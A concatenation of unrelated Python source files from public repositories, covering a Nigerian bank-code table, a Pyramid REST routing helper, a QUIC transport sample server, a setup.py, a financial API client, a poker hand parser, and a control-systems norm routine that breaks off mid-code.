#### File: nigeria_bank_codes/database/db.py ```python def bankdb(): data = [ { "bank_code": "000014", "cbn_code": "044", "name": "Access Bank Nigeria", "bank_short_name": "access", "disabled_for_vnuban": False }, { "bank_code": "000014", "cbn_code": "063", "name": "Access Bank Nigeria", "bank_short_name": "access", "disabled_for_vnuban": False }, { "bank_code": "000010", "cbn_code": "050", "name": "Ecobank Bank", "bank_short_name": "ecobank", "disabled_for_vnuban": None }, { "bank_code": "000007", "cbn_code": "070", "name": "Fidelity Bank", "bank_short_name": "fidelity", "disabled_for_vnuban": None }, { "bank_code": "000016", "cbn_code": "011", "name": "First Bank of Nigeria", "bank_short_name": "firstbank", "disabled_for_vnuban": None }, { "bank_code": "000003", "cbn_code": "214", "name": "First City Monument Bank", "bank_short_name": "fcmb", "disabled_for_vnuban": None }, { "bank_code": "000013", "cbn_code": "058", "name": "Guaranty Trust Bank", "bank_short_name": "gtb", "disabled_for_vnuban": None }, { "bank_code": "000020", "cbn_code": "030", "name": "Heritage Bank", "bank_short_name": "heritage", "disabled_for_vnuban": None }, { "bank_code":"090121", "cbn_code":"50383", "name":"<NAME>", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"000027", "cbn_code":"103", "name":"Globus Bank", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"060002", "cbn_code":"911", "name":"FBNQuest Merchant Bank", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code": "000006", "cbn_code": "301", "name": "Jaiz Bank", "bank_short_name": "jaiz", "disabled_for_vnuban": None }, { "bank_code":"090097", "cbn_code":"562", "name":"<NAME>", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code": "000002", "cbn_code": "082", "name": "Keystone Bank", "bank_short_name": "keystone", "disabled_for_vnuban": None }, { "bank_code": "000008", "cbn_code": "076", "name": "Polaris Bank", "bank_short_name": "PBL", "disabled_for_vnuban": None }, { "bank_code": "000001", "cbn_code": "232", "name": "Sterling Bank", "bank_short_name": "", "disabled_for_vnuban": None }, { "bank_code": "000018", "cbn_code": "032", "name": "Union Bank of Nigeria", "bank_short_name": "unionbank", "disabled_for_vnuban": None }, { "bank_code": "000004", "cbn_code": "033", "name": "United Bank for Africa", "bank_short_name": "uba", "disabled_for_vnuban": None }, { "bank_code": "000011", "cbn_code": "215", "name": "Unity Bank", "bank_short_name": "unity", "disabled_for_vnuban": None }, { "bank_code": "000017", "cbn_code": "035", "name": "Wema Bank", "bank_short_name": "wema", "disabled_for_vnuban": None }, { "bank_code": "000015", "cbn_code": "057", "name": "Zenith Bank", "bank_short_name": "zenith", "disabled_for_vnuban": None }, { "bank_code":"000015", "cbn_code":"057", "name":"Zenith Bank", "bank_short_name":"zenith", "disabled_for_vnuban": None }, { "bank_code":"090110", "cbn_code":"566", "name":"VFD MFB", "bank_short_name":"vfd", "disabled_for_vnuban": None }, { "bank_code":"000025", "cbn_code":"102", "name":"Titan Trust Bank", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"090115", "cbn_code":"51211", "name":"TCF MFB", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"000026", "cbn_code":"302", "name":"Taj Bank", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"000022", "cbn_code":"100", "name":"Suntrust Bank", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"000021", "cbn_code":"068", "name":"Standard Chartered Bank", "bank_short_name":"standard-chartered", "disabled_for_vnuban": None }, { "bank_code":"000012", "cbn_code":"221", "name":"Stanbic IBTC", "bank_short_name":"stanbic", "disabled_for_vnuban": None }, { "bank_code":"090325", "cbn_code":"51310", "name":"Sparkle Bank", "bank_short_name":"SPKL", "disabled_for_vnuban": None }, { "bank_code":"090175", "cbn_code":"125", "name":"<NAME>", "bank_short_name":"RMB", "disabled_for_vnuban": None }, { "bank_code":"000024", "cbn_code":"502", "name":"Rand Merchant Bank", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"000023", "cbn_code":"101", "name":"Providus Bank", "bank_short_name":"providus", "disabled_for_vnuban": None }, { "bank_code":"090154", "cbn_code":"50823", "name":"CEMCS MFB", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"000009", "cbn_code":"023", "name":"Citibank Nigeria", "bank_short_name":"citibankng", "disabled_for_vnuban": None }, { "bank_code":"090004", "cbn_code":"526", "name":"Parallex MFB", "bank_short_name":"parallex", "disabled_for_vnuban": None }, { "bank_code":"060003", "cbn_code":"561", "name":"Nova Merchant Bank", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"090267", "cbn_code":"50211", "name":"Kuda MFB", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"090380", "cbn_code":"50200", "name":"Kredi Bank", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"060001", "cbn_code":"902", "name":"Coronation Merchant Bank", "bank_short_name":"cmfb", "disabled_for_vnuban": None }, { "bank_code":"090001", "cbn_code":"401", "name":"Aso Savings And Loans", "bank_short_name":"aso-savings", "disabled_for_vnuban": None }, { "bank_code":"400001", "cbn_code":"501", "name":"FSDH Merchant Bank", "bank_short_name":"fsdh", "disabled_for_vnuban": None }, { "bank_code":"100026", "cbn_code":"565", "name":"One Finance", "bank_short_name":"", "disabled_for_vnuban": None }, { "bank_code":"100013", "cbn_code":"323", "name":"Accessmoney", "bank_short_name":"access-mobile", "disabled_for_vnuban": None }, { "bank_code":"100009", "cbn_code":"315", "name":"GT Mobile Money", "bank_short_name":"gtb-mobile", "disabled_for_vnuban": None }, { "bank_code":"100007", "cbn_code":"304", "name":"Stanbic IBTC @Ease Wal", "bank_short_name":"stanbic-mobile", "disabled_for_vnuban": None }, { "bank_code":"100008", "cbn_code":"307", "name":"Ecobank Xpress", "bank_short_name":"ecobank-mobile", "disabled_for_vnuban": None }, { "bank_code":"100004", "cbn_code":"999992", "name":"Paycom (Opay)", "bank_short_name":"paycom", "disabled_for_vnuban": None }, { "bank_code":"100003", "cbn_code":"311", "name":"Parkway-Readycash", "bank_short_name":"parkway", "disabled_for_vnuban": None } ] return data ```
{ "source": "josephchow102/pyramid_rest_route", "score": 2 }
#### File: pyramid_rest_route/pyramid_rest_route/route.py ```python import logging import os from pyramid.security import Everyone,\ Allow, ALL_PERMISSIONS log = logging.getLogger(__name__) class PublicFactory(object): """ ACE have smaller index in ACL have higher priority """ __acl__ = None def __init__(self, request): log.debug('Init the PublicFactory') self.__acl__ = [ (Allow, Everyone, ALL_PERMISSIONS), ] def allowed_extension(*allowed): ''' refs: http://zhuoqiang.me/a/restful-pyramid Custom predict checking if the the file extension of the request URI is in the allowed set. ''' def predicate(info, request): log.debug(request.path) ext = os.path.splitext(request.path)[1] request.environ['path_extenstion'] = ext log.debug(ext) return ext in allowed return predicate def add_rest_route(config, name, plural, cls, factory=PublicFactory, collections={}, members={}, url_name=None, url_plural=None, exts=[''], include_view=True): if url_name is None: url_name = name if url_plural is None: url_plural = plural config.add_route('formatted_%s' % plural, '/%s.{ext}' % url_plural, factory=factory) config.add_route(plural, '/%s' % url_plural, factory=factory) config.add_route('formatted_new_%s' % name, '/%s/new.{ext}' % url_name, factory=factory) config.add_route('new_%s' % name, '/%s/new' % url_name, factory=factory) config.add_route('formatted_edit_%s' % name, '/%s/{id}/edit.{ext}' % url_name, traverse='/{id}', factory=factory) config.add_route('edit_%s' % name, '/%s/{id}/edit' % url_name, traverse='/{id}', factory=factory) config.add_route('formatted_%s' % name, '/%s/{id}.{ext}' % url_name, traverse='/{id}', factory=factory) config.add_route('%s' % name, '/%s/{id}' % url_name, traverse='/{id}', factory=factory) if include_view: config.add_view(cls, route_name=plural, permission='view', attr='index', request_method='GET', renderer=cls.renderers.get('index')) config.add_view(cls, route_name='formatted_%s' % plural, permission='view', attr='index', request_method='GET', custom_predicates=(allowed_extension(*exts),)) config.add_view(cls, route_name=plural, permission='create', attr='create', request_method='POST', renderer=cls.renderers.get('create')) config.add_view(cls, route_name='formatted_%s' % plural, permission='create', attr='create', request_method='POST', custom_predicates=(allowed_extension(*exts),)) for collection, permission in collections.items(): route_name = '%s_%s' % (plural, collection) config.add_route(route_name, '/%s/%s' % (url_plural, collection), factory=factory) config.add_route('formatted_%s' % route_name, '/%s/%s.{ext}' % (url_plural, collection), factory=factory) if include_view: config.add_view(cls, route_name=route_name, permission=permission, attr=collection, renderer=cls.renderers.get(collection)) config.add_view(cls, route_name='formatted_%s' % route_name, permission=permission, attr=collection, custom_predicates=(allowed_extension(*exts),)) for member, permission in members.items(): route_name = '%s_%s' % (member, name) config.add_route(route_name, '/%s/{id}/%s' % (url_name, member), traverse='/{id}', factory=factory) config.add_route('formatted_%s' % route_name, '/%s/{id}/%s.{ext}' % (url_name, member), traverse='/{id}', factory=factory) if include_view: config.add_view(cls, route_name=route_name, permission=permission, attr=member, renderer=cls.renderers.get(member)) config.add_view(cls, route_name='formatted_%s' % route_name, permission=permission, attr=member, custom_predicates=(allowed_extension(*exts),)) if include_view: config.add_view(cls, route_name='new_%s' % name, permission='create', attr='new', request_method='GET', renderer=cls.renderers.get('new')) config.add_view(cls, route_name='formatted_new_%s' % name, permission='create', attr='new', request_method='GET', custom_predicates=(allowed_extension(*exts),)) config.add_view(cls, route_name='edit_%s' % name, permission='edit', attr='edit', request_method='GET', renderer=cls.renderers.get('edit')) config.add_view(cls, route_name='formatted_edit_%s' % name, permission='edit', attr='edit', request_method='GET', custom_predicates=(allowed_extension(*exts),)) config.add_view(cls, route_name=name, permission='view', attr='view', request_method='GET', renderer=cls.renderers.get('view')) config.add_view(cls, route_name='formatted_%s' % name, permission='view', attr='view', request_method='GET') config.add_view(cls, route_name=name, permission='edit', attr='update', request_method='PUT', renderer=cls.renderers.get('update')) config.add_view(cls, route_name='formatted_%s' % name, permission='edit', attr='update', request_method='PUT', custom_predicates=(allowed_extension(*exts),)) config.add_view(cls, route_name=name, permission='edit', attr='update', request_method='POST', renderer=cls.renderers.get('update')) config.add_view(cls, route_name='formatted_%s' % name, permission='edit', attr='update', request_method='POST', custom_predicates=(allowed_extension(*exts),)) config.add_view(cls, route_name=name, permission='edit', attr='delete', request_method='DELETE', renderer=cls.renderers.get('delete')) config.add_view(cls, route_name='formatted_%s' % name, permission='edit', attr='delete', request_method='DELETE', custom_predicates=(allowed_extension(*exts),)) ```
{ "source": "JosephCHS/CNN-Image-Detection", "score": 3 }
#### File: CNN-Image-Detection/model/list_node_pbtxt.py ```python import tensorflow as tf from google.protobuf import text_format with open('graph.pbtxt') as f: graph_def = text_format.Parse(f.read(), tf.GraphDef()) print ([n.name for n in graph_def.node]) ```
{ "source": "JosephClarkClayton/samples", "score": 3 }
#### File: samples/quictransport/quic_transport_server.py ```python import argparse import asyncio import io import os import struct import urllib.parse from collections import defaultdict from typing import Dict, Optional from aioquic.asyncio import QuicConnectionProtocol, serve from aioquic.quic.configuration import QuicConfiguration from aioquic.quic.connection import QuicConnection, END_STATES from aioquic.quic.events import StreamDataReceived, StreamReset, DatagramFrameReceived, QuicEvent from aioquic.tls import SessionTicket BIND_ADDRESS = '::1' BIND_PORT = 4433 ALLOWED_ORIGINS = {'localhost', 'googlechrome.github.io'} # QUIC uses two lowest bits of the stream ID to indicate whether the stream is: # (a) unidirectional or bidirectional, # (b) initiated by the client or by the server. # See https://tools.ietf.org/html/draft-ietf-quic-transport-27#section-2.1 for # more details. def is_client_bidi_stream(stream_id): return stream_id % 4 == 0 # CounterHandler implements a really simple protocol: # - For every incoming bidirectional stream, it counts bytes it receives on # that stream until the stream is closed, and then replies with that byte # count on the same stream. # - For every incoming unidirectional stream, it counts bytes it receives on # that stream until the stream is closed, and then replies with that byte # count on a new unidirectional stream. # - For every incoming datagram, it sends a datagram with the length of # datagram that was just received. class CounterHandler: def __init__(self, connection) -> None: self.connection = connection self.counters = defaultdict(int) def quic_event_received(self, event: QuicEvent) -> None: if isinstance(event, DatagramFrameReceived): payload = str(len(event.data)).encode('ascii') self.connection.send_datagram_frame(payload) if isinstance(event, StreamDataReceived): self.counters[event.stream_id] += len(event.data) if event.end_stream: if is_client_bidi_stream(event.stream_id): response_id = event.stream_id else: response_id = self.connection.get_next_available_stream_id( is_unidirectional=True) payload = str(self.counters[event.stream_id]).encode('ascii') self.connection.send_stream_data(response_id, payload, True) del self.counters[event.stream_id] # Streams in QUIC can be closed in two ways: normal (FIN) and abnormal # (resets). FIN is handled by event.end_stream logic above; the code # below handles the resets. if isinstance(event, StreamReset): try: del self.counters[event.stream_id] except KeyError: pass # QuicTransportProtocol handles the beginning of a QuicTransport connection: it # parses the incoming URL, and routes the transport events to a relevant # handler (in this example, CounterHandler). It does that by waiting for a # client indication (a special stream with protocol headers), and buffering all # unrelated events until the client indication can be fully processed. class QuicTransportProtocol(QuicConnectionProtocol): def __init__(self, *args, **kwargs) -> None: super().__init__(*args, **kwargs) self.pending_events = [] self.handler = None self.client_indication_data = b'' def quic_event_received(self, event: QuicEvent) -> None: try: if self.is_closing_or_closed(): return # If the handler is available, that means the connection has been # established and the client indication has been processed. if self.handler is not None: self.handler.quic_event_received(event) return if isinstance(event, StreamDataReceived) and event.stream_id == 2: self.client_indication_data += event.data if event.end_stream: self.process_client_indication() if self.is_closing_or_closed(): return # Pass all buffered events into the handler now that it's # available. for e in self.pending_events: self.handler.quic_event_received(e) self.pending_events.clear() else: # We have received some application data before we have the # request URL available, which is possible since there is no # ordering guarantee on data between different QUIC streams. # Buffer the data for now. self.pending_events.append(event) except Exception as e: self.handler = None self.close() # Client indication follows a "key-length-value" format, where key and # length are 16-bit integers. See # https://tools.ietf.org/html/draft-vvv-webtransport-quic-01#section-3.2 def parse_client_indication(self, bs): while True: prefix = bs.read(4) if len(prefix) == 0: return # End-of-stream reached. if len(prefix) != 4: raise Exception('Truncated key-length tag') key, length = struct.unpack('!HH', prefix) value = bs.read(length) if len(value) != length: raise Exception('Truncated value') yield (key, value) def process_client_indication(self) -> None: KEY_ORIGIN = 0 KEY_PATH = 1 indication = dict( self.parse_client_indication(io.BytesIO( self.client_indication_data))) origin = urllib.parse.urlparse(indication[KEY_ORIGIN].decode()) path = urllib.parse.urlparse(indication[KEY_PATH]).decode() # Verify that the origin host is allowed to talk to this server. This # is similar to the CORS (Cross-Origin Resource Sharing) mechanism in # HTTP. See <https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS>. if origin.hostname not in ALLOWED_ORIGINS: raise Exception('Wrong origin specified') # Dispatch the incoming connection based on the path specified in the # URL. if path.path == '/counter': self.handler = CounterHandler(self._quic) else: raise Exception('Unknown path') def is_closing_or_closed(self) -> bool: return self._quic._close_pending or self._quic._state in END_STATES if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('certificate') parser.add_argument('key') args = parser.parse_args() configuration = QuicConfiguration( # Identifies the protocol used. The origin trial uses the protocol # described in draft-vvv-webtransport-quic-01, hence the ALPN value. # See https://tools.ietf.org/html/draft-vvv-webtransport-quic-01#section-3.1 alpn_protocols=['wq-vvv-01'], is_client=False, # Note that this is just an upper limit; the real maximum datagram size # available depends on the MTU of the path. See # <https://en.wikipedia.org/wiki/Maximum_transmission_unit>. max_datagram_frame_size=1500, ) configuration.load_cert_chain(args.certificate, args.key) loop = asyncio.get_event_loop() loop.run_until_complete( serve( BIND_ADDRESS, BIND_PORT, configuration=configuration, create_protocol=QuicTransportProtocol, )) loop.run_forever() ```
{ "source": "josephcobb111/AlgoTrading", "score": 2 }
#### File: josephcobb111/AlgoTrading/setup.py ```python import codecs import os import versioneer from setuptools import setup, find_packages def read(*parts): """ Build an absolute path from *parts* and return the contents of the resulting file. Assume UTF-8 encoding. """ with codecs.open(os.path.join(HERE, *parts), "rb", "utf-8") as f: return f.read() def install_dependencies(links): """ Install dependency links """ for link in links: os.system("pip install" + link + " --upgrade") # optionally read this from a requirements.txt file # if this list is blank it reads from the requirements.txt file instead. INSTALL_REQUIRES = [] DEPENDENCY_LINKS = [] HERE = os.path.abspath(os.path.dirname(__file__)) # read dependencies from requirements.txt INSTALL_REQUIRES = [ x for x in read("requirements.txt").split("\n") if x != "" and not x.startswith("#") and not x.startswith("-e") and not x.startswith("git+") ] DEPENDENCY_LINKS = [ x for x in read("requirements.txt").split("\n") if x.startswith("git+") ] if __name__ == "__main__": install_dependencies(DEPENDENCY_LINKS) setup( name="algotrading", version=versioneer.get_version(), cmdclass=versioneer.get_cmdclass(), author="<NAME>", author_email="<EMAIL>", url="https://github.com/josephcobb111/AlgoTrading", description="Package to support financial analyses.", include_package_data=True, dependency_links=DEPENDENCY_LINKS, install_requires=INSTALL_REQUIRES, packages=find_packages(), ) ```
{ "source": "JosephCottingham/financialmodelingprep-python", "score": 3 }
#### File: financialmodelingprep-python/financialmodelingprep/calendars.py ```python from financialmodelingprep.decorator import get_json_data BASE_URL = 'https://financialmodelingprep.com' class calendars(): BASE_URL = 'https://financialmodelingprep.com' API_KEY = '' def __init__(self, API_KEY): self.API = API_KEY @get_json_data def earning_calendar(self): ''' Earnings Calendar ''' return f'{self.BASE_URL}/api/v3/earning_calendar?apikey={self.API}' @get_json_data def earning_calendar_period(self, datetime_from, datetime_to): ''' Earnings Calendar with period ''' return f'{self.BASE_URL}/api/v3/earning_calendar?from={datetime_from.strftime("%Y-%m-%d")}&to={datetime_to.strftime("%Y-%m-%d")}&apikey={self.API}' @get_json_data def company_historical_earnings_calendar(self, ticker: str, limit: int): ''' Earnings Calendar with period ''' return f'{self.BASE_URL}/api/v3/historical/earning_calendar/{ticker}?limit={str(limit)}&apikey={self.API}' @get_json_data def company_historical_earnings_calender(self, datetime_from, datetime_to): ''' Earnings Calendar with period ''' return f'{self.BASE_URL}/api/v3/ipo_calendar?from={datetime_from.strftime("%Y-%m-%d")}&to={datetime_to.strftime("%Y-%m-%d")}&apikey={self.API}' @get_json_data def ipo_calendar(self, datetime_from, datetime_to): ''' Earnings Calendar with period ''' return f'{self.BASE_URL}/api/v3/ipo_calendar?from={datetime_from.strftime("%Y-%m-%d")}&to={datetime_to.strftime("%Y-%m-%d")}&apikey={self.API}' @get_json_data def stock_split_calendar(self, datetime_from, datetime_to): ''' Earnings Calendar with period ''' return f'{self.BASE_URL}/api/v3/stock_split_calendar?from={datetime_from.strftime("%Y-%m-%d")}&to={datetime_to.strftime("%Y-%m-%d")}&apikey={self.API}' @get_json_data def stock_dividend_calendar(self, datetime_from, datetime_to): ''' Earnings Calendar with period ''' return f'{self.BASE_URL}/api/v3/stock_dividend_calendar?from={datetime_from.strftime("%Y-%m-%d")}&to={datetime_to.strftime("%Y-%m-%d")}&apikey={self.API}' @get_json_data def economic_calendar(self, datetime_from, datetime_to): ''' Earnings Calendar with period ''' return f'{self.BASE_URL}/api/v3/economic_calendar?from={datetime_from.strftime("%Y-%m-%d")}&to={datetime_to.strftime("%Y-%m-%d")}&apikey={self.API}' ```
{ "source": "JosephCottingham/poker-texas-holdem-bot", "score": 3 }
#### File: poker-texas-holdem-bot/Game-Data-Preprocessing/player_game.py ```python from card_map import suit_map, rank_map import pickle import itertools hand_strength_model = pickle.load(open('hand-classication-model.pickle', 'rb')) # Helper Functions def combinationsNoOrder(a, n): if n == 1: for x in a: yield [x] else: for i in range(len(a)): for x in combinationsNoOrder(a[:i], n-1): yield [a[i]] + x def Merge(dict1, dict2): res = {**dict1, **dict2} return res class Player_Game(): winner_list = [] winner_hands = [] player_name = None player_chips = 0 player_chips_in_pot = 0 pot_chips = 0 total_chips = 0 last_move = None player_hand = { 'S1':0, 'C1':0, 'S2':0, 'C2':0 } community_hand = { 'S3':0, 'C3':0, 'S4':0, 'C4':0, 'S5':0, 'C5':0, 'S6':0, 'C6':0, 'S7':0, 'C7':0 } game = None stage = -1 flop_index = None turn_index = None river_index = None summery_index = None game_complete = False def __init__(self, player_stats, game, total_chips): self.player_name = player_stats['name'] self.player_chips = player_stats['chips'] self.game = game self.total_chips = total_chips def set_hand(self): hand_str = '' l = '' for line in self.game: if f'Dealt to {self.player_name}' in line: h_start, h_end = line.find('[')+1, line.find(']') hand_str = line[h_start:h_end] h1, h2 = hand_str.split(' ') self.player_hand['C1'] = rank_map[h1[0]] self.player_hand['C2'] = rank_map[h2[0]] self.player_hand['S1'] = suit_map[h1[1]] self.player_hand['S2'] = suit_map[h2[1]] def set_winner_list(self): for line in self.game: if 'collected' in line: self.winner_list.append(line.split(' ')[0]) def set_winner_hands(self): for winner in self.winner_list: hand_str = '' for line in self.game: if f'Dealt to {self.player_name}' in line: h_start, h_end = line.find('[')+1, line.find(']') hand_str = line[h_start:h_end] h1, h2 = hand_str.split(' ') winner_hand = {} winner_hand['S1'] = suit_map[h1[1]] winner_hand['S2'] = suit_map[h2[1]] winner_hand['C1'] = rank_map[h1[0]] winner_hand['C2'] = rank_map[h2[0]] self.winner_hands.append(winner_hand) def get_current_status(self, stage): data = Merge(self.player_hand, self.community_hand) if (stage < 3): data['C7'] = 0 data['S7'] = 0 if (stage < 2): data['C6'] = 0 data['S6'] = 0 if (stage < 1): data['C3'] = 0 data['S3'] = 0 data['C4'] = 0 data['S4'] = 0 data['C5'] = 0 data['S5'] = 0 data['percentage_of_total_chips_hand'] = self.player_chips/self.total_chips data['percentage_of_hand_bet_pot'] = self.player_chips_in_pot/self.player_chips data['percentage_of_total_chips_in_pot'] = self.pot_chips/self.total_chips data['current_stage'] = self.stage data['move'] = self.last_move data['player_hand_ranking'] = self.rank_hand(Merge(self.player_hand, self.community_hand)) return data def rank_hand(self, data): suit_keys = ['S1','S2','S3','S4','S5','S6','S7'] rank_keys = ['C1','C2','C3','C4','C5','C6','C7'] index_list = range(7) player_hand_rank = 0 for index_list in combinationsNoOrder(index_list, 5): s_list = [] r_list = [] index_list_sorted = sorted(index_list) for index in index_list_sorted: r_list.append(data[rank_keys[index]]) s_list.append(data[suit_keys[index]]) l = r_list+s_list l = [l,] temp_hand_rank = hand_strength_model.predict(l)[0] if temp_hand_rank > player_hand_rank: player_hand_rank = temp_hand_rank return player_hand_rank def _reset(self): self.pot_chips=0 self.player_chips_in_pot=0 self.flop_index = None self.turn_index = None self.river_index = None self.summery_index = None def process_preflop(self): self.stage = 0 self._reset() for index, line in enumerate(self.game): self._process_line(line) if '*** FLOP ***' in line: self.flop_index = index return self.game_complete = True def process_postflop(self): if self.flop_index == None or self.turn_index != None: raise Exception('Process Preflop Must Be Run First') self.stage = 1 line = self.game[self.flop_index] start, end = line.find('[')+1, line.find(']') cards_str = line[start:end] h3,h4,h5 = cards_str.split(' ') self.community_hand['C3'] = rank_map[h3[0]] self.community_hand['C4'] = rank_map[h4[0]] self.community_hand['C5'] = rank_map[h5[0]] self.community_hand['S3'] = suit_map[h3[1]] self.community_hand['S4'] = suit_map[h4[1]] self.community_hand['S5'] = suit_map[h5[1]] for index in range(self.flop_index, len(self.game)): line = self.game[index] self._process_line(line) if '*** TURN ***' in line: self.turn_index = index return self.game_complete = True def process_postturn(self): self.stage = 2 line = self.game[self.turn_index] start, end = line.find('[', 24)+1, line.find(']', 25) cards_str = line[start:end] h6 = cards_str self.community_hand['C6'] = rank_map[h6[0]] self.community_hand['S6'] = suit_map[h6[1]] for index in range(self.turn_index, len(self.game)): line = self.game[index] self._process_line(line) if '*** RIVER ***' in line: self.river_index = index return self.game_complete = True def process_postriver(self): self.stage = 3 line = self.game[self.river_index] start, end = line.find('[', 29)+1, line.find(']', 29) cards_str = line[start:end] h7 = cards_str self.community_hand['C7'] = rank_map[h7[0]] self.community_hand['S7'] = suit_map[h7[1]] for index in range(self.river_index, len(self.game)): line = self.game[index] self._process_line(line) if '*** SUMMARY ***' in line: self.game_complete = True return self.game_complete = True def _process_line(self, line): if 'posts small blind' in line or 'posts big blind' in line: val = int(line.split(' ')[-1]) self.pot_chips += val if self.player_name in line: self.player_chips_in_pot += val if 'raises' in line: index = -3 if 'all-in' in line: index = -6 val = int(line.split(' ')[index]) self.pot_chips += val if self.player_name in line: self.player_chips_in_pot += val self.last_move = 2 if 'calls' in line: index = -1 if 'all-in' in line: index = -4 val = int(line.split(' ')[index]) self.pot_chips += val if self.player_name in line: self.player_chips_in_pot += val self.last_move = 1 if 'folds' in line and self.player_name in line: self.last_move = 0 self.game_complete = True def gather_full_game_data(self): records = [] self.set_hand() self.set_winner_list() self.process_preflop() records.append(self.get_current_status(0)) if self.game_complete != True: self.process_postflop() records.append(self.get_current_status(1)) if self.game_complete != True: self.process_postturn() records.append(self.get_current_status(2)) if self.game_complete != True: self.process_postriver() records.append(self.get_current_status(3)) self.set_winner_hands() won = self.player_name in self.winner_list for record in records: if won: record['result'] = 1 else: winning_hand_rank = 0 for hand in self.winner_hands: rank = self.rank_hand(Merge(hand, self.community_hand)) if rank > winning_hand_rank: winning_hand_rank = rank player_hand_rank = self.rank_hand(Merge(self.player_hand, self.community_hand)) record['result'] = 1 if winning_hand_rank < player_hand_rank: record['result'] = 0 return records ```
{ "source": "josephcrosmanplays532/Wrapper-Offline-1.2.3-", "score": 3 }
#### File: autoScripts/lib/ADM_imageInfo.py ```python import ADM_image # Recompute dest image source/dest # Taking aspect ratio into account # Ported from js mean (c) 2011 # aspectRatio=[ (1.,0.888888,1.185185), # NTSC 1:1 4:3 16:9 (1.,1.066667,1.422222), # PAL 1:1 4:3 16:9 (1.,0.888888,1.185185), # FILM 1:1 4:3 16:9 ] fps_predef=[ 29970, 25000, 23976] def get_video_format(desc): adm=Avidemux() ########################## # Compute resize... ########################## source=ADM_image.image() fps=adm.getFps1000() fmt=source.getFormat(fps) print("Fps : "+str(fps)) print("Format : "+str(fmt)) if(fmt==ADM_image.FMT_UNKNOWN): return None desc="NTSC" if(fmt==ADM_image.FMT_FILM): desc="FILM" if(fmt==ADM_image.FMT_PAL): desc="PAL" print("Format : "+str(desc)) return fmt ```
{ "source": "josephcslater/harold", "score": 3 }
#### File: harold/harold/_system_props.py ```python import numpy as np from numpy import count_nonzero, block from numpy.linalg.linalg import (_assertRank2, _assertNdSquareness, _assertNoEmpty2d, _makearray) from scipy.linalg import solve, norm, eigvals, qr from ._frequency_domain import frequency_response from ._classes import Transfer, transfer_to_state from ._solvers import lyapunov_eq_solver from ._arg_utils import _check_for_state_or_transfer __all__ = ['system_norm', 'controllability_indices'] def system_norm(G, p=np.inf, hinf_tol=1e-6, eig_tol=1e-8): """ Computes the system p-norm. Currently, no balancing is done on the system, however in the future, a scaling of some sort will be introduced. Currently, only Hโ‚‚ and Hโˆž-norm are understood. For Hโ‚‚-norm, the standard grammian definition via controllability grammian, that can be found elsewhere is used. Parameters ---------- G : {State,Transfer} System for which the norm is computed p : {int,np.inf} The norm type; `np.inf` for Hโˆž- and `2` for H2-norm hinf_tol: float When the progress is below this tolerance the result is accepted as converged. eig_tol: float The algorithm relies on checking the eigenvalues of the Hamiltonian being on the imaginary axis or not. This value is the threshold such that the absolute real value of the eigenvalues smaller than this value will be accepted as pure imaginary eigenvalues. Returns ------- n : float Resulting p-norm Notes ----- The Hโˆž norm is computed via the so-called BBBS algorithm ([1]_, [2]_). .. [1] <NAME>, <NAME>: Fast Computation of Hโˆž-norm of transfer function. System and Control Letters, 14, 1990. :doi:`10.1016/0167-6911(90)90049-Z` .. [2] <NAME> and <NAME>. A regularity result for the singular values of a transfer matrix and a quadratically convergent algorithm for computing its Lโˆž-norm. System and Control Letters, 1990. :doi:`10.1016/0167-6911(90)90037-U` """ # TODO: Try the corrections given in arXiv:1707.02497 _check_for_state_or_transfer(G) if p not in (2, np.inf): raise ValueError('The p in p-norm is not 2 or infinity. If you' ' tried the string \'inf\', use "np.inf" instead') T = transfer_to_state(G) if isinstance(G, Transfer) else G a, b, c, d = T.matrices # 2- norm if p == 2: # Handle trivial infinities if T._isgain: # If nonzero -> infinity, if zero -> zero if count_nonzero(T.d) > 0: return np.Inf else: return 0. if not T._isstable: return np.Inf if T.SamplingSet == 'R': x = lyapunov_eq_solver(a.T, b @ b.T) return np.sqrt(np.trace(c @ x @ c.T)) else: x = lyapunov_eq_solver(a.T, b @ b.T, form='d') return np.sqrt(np.trace(c @ x @ c.T + d @ d.T)) # โˆž-norm elif np.isinf(p): if not T._isstable: return np.Inf # Initial gamma0 guess # Get the max of the largest svd of either # - feedthrough matrix # - G(iw) response at the pole with smallest damping # - G(iw) at w = 0 # Formula (4.3) given in Bruinsma, Steinbuch Sys.Cont.Let. (1990) if any(T.poles.imag): J = [np.abs(x.imag/x.real/np.abs(x)) for x in T.poles] ind = np.argmax(J) low_damp_fr = np.abs(T.poles[ind]) else: low_damp_fr = np.min(np.abs(T.poles)) f, w = frequency_response(T, w=[0, low_damp_fr], w_unit='rad/s', output_unit='rad/s') if T._isSISO: lb = np.max(np.abs(f)) else: # Only evaluated at two frequencies, 0 and wb lb = np.max(norm(f, ord=2, axis=2)) # Finally gamma_lb = np.max([lb, norm(d, ord=2)]) # Start a for loop with a definite end! Convergence is quartic!! for x in range(51): # (Step b1) test_gamma = gamma_lb * (1 + 2*np.sqrt(np.spacing(1.))) # (Step b2) R = d.T @ d - test_gamma**2 * np.eye(d.shape[1]) S = d @ d.T - test_gamma**2 * np.eye(d.shape[0]) # TODO : Implement the result of Benner for the Hamiltonian later mat = block([[a - b @ solve(R, d.T) @ c, -test_gamma * b @ solve(R, b.T)], [test_gamma * c.T @ solve(S, c), -(a - b @ solve(R, d.T) @ c).T]]) eigs_of_H = eigvals(mat) # (Step b3) im_eigs = eigs_of_H[np.abs(eigs_of_H.real) <= eig_tol] # If none left break if im_eigs.size == 0: gamma_ub = test_gamma break else: # Take the ones with positive imag part w_i = np.sort(np.unique(np.abs(im_eigs.imag))) # Evaluate the cubic interpolant m_i = (w_i[1:] + w_i[:-1]) / 2 f, w = frequency_response(T, w=m_i, w_unit='rad/s', output_unit='rad/s') if T._isSISO: gamma_lb = 